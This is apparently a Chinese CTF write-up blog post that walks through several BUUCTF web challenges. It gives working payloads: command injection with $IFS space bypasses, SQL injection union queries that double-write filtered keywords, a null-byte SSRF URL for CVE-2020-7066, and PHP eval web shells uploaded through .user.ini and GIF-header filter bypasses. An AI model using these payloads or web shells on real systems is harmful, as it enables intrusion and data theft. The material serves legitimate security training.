[GXYCTF2019]Ping Ping Ping
![猜测为命令拼接
尝试?ip=127.0.0.1
果然是,开始构造发现空格flag被ban
${IFS}
$IFS$9
<
<>
linux中可以用来代替空格
可以用变量拼接解决flag字符串被ban
http://0022d670-8595-4aa7-bfaf-a72fbb8e84d9.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
flag在源代码里
[ACTF2020 新生赛]Exec
看了一眼又是个命令拼接,而且这题没有waf属实简单
直接出了
**
[极客大挑战 2019]BabySQL
**
刚开始是一个登录页面,万能密码可以登录。但是登进去也没啥用
尝试order by,union select 等sql语句,再根据如下返回的报错页面发现,尝试一番发现union select where or from 都被ban 。可以双写绕过
1' uunionnion sselectelect 1,2,database() #
1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wwherehere table_schema=database() #
1' uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wwherehere table_name='b4bsql' #
1' uunionnion sselectelect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom b4bsql #' #
**
[极客大挑战 2019]BuyFlag
**
一个弱类型比较,不难
进入第二个页面 查看源代码
直接抓包,发现cookie中的user参数为0,直接改为1.
再post:password=404a&money=1e10
money对长度有限制用科学计数绕过。或者可以用数组。
这里用了弱类型比较,不懂的可以去百度。网上好多讲这个的
跟开始bs一直提交不上去,还以为题目坏掉了。就写了个脚本传上去的
import requests
url=''
headers={'cookie':'user=1'}
data={'password':'404a','money[]':'1'}
r = requests.post(url=url,headers=headers,data=data)
print(r.text)
发现可以返回flag,后来发现是bs的事,不识别POST请求的原因是请求头缺少这个:
Content-Type: application/x-www-form-urlencoded
**
[GKCTF2020]cve版签到
**
有hint:cve-2020-7066
查资料
CVE-2020-7066
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
描述
在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。%00也可以
说仅仅可以访问以.ctfhub.com结尾的
点 view ctfhub:
发现有url参数。将url参数改为http://127.0.0.1后发现没有
后来想起只能以.ctfhub.com结尾。再结合这个cve构造:
?url=http://127.0.0.1%00.ctfhub.com
回显:
又提示结尾为123,payload改为:
?url=http://127.0.0.123%00.ctfhub.com
flag出来了。这里用\0不知道为什么不好使,一直用%00做的
有师傅懂这块吗。看见评论提示下,谢谢 QAQ
[SUCTF 2019]CheckIn
提示上传
回显:exif_imagetype:not image!,猜测后端应该调用了php的exif_imagetype()函数,这个很好绕过,添加图片文件头就可以了
们添加最简单的gif文件头GIF89a,发现上传成功,看文件夹下还有一个index.php猜测用.user.ini 解析图片马,于是上传.user.ini,关于.user.ini,可以去百度。再上传一个图片马,内容分别如下
GIF89a
auto_prepend_file=a.jpg
GIF89a
<script language='php'> @eval($_POST['pass']);</script>>
没用<?php来写一句话马是因为?被过滤了,有提醒
用菜刀或者蚁剑连接下面这个,就能找到了
http://6ec6c127-3adf-4e3d-8bed-08ec93cfc8b0.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
关于图片马这里也说一嘴:
木马写里面,包含一下就会进行解析,一般图片马,和包含漏洞比较搭配
关于.user.in也说一嘴:
条件:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件
实例:上传.user.ini绕过黑名单检验
GIF89a :绕过exif_imagetype()
auto_prepend_file=a.jpg :指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样
auto_append_file=a.jpg 解析后进行包含
优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
[极客大挑战 2019]Upload
让上传一个文件
回显提示文件内部存在?
把问号删掉看看
又说不是个图片,猜测后端可能用到exif_imagetype()函数
于是文本内容改为
GIF89a
<script language="php">eval($_POST['cmd']);</script>
php别名
php3,php4,php5,pht,phtml,phps
这里发现 *.phtml可以绕过
于是改为以phtml结尾
用御剑扫一下,有upload文件
用蚁剑连接,flag在 /目录下
[ACTF2020 新生赛]BackupFile
题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php
访问index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
弱类型直接构造:
?key=123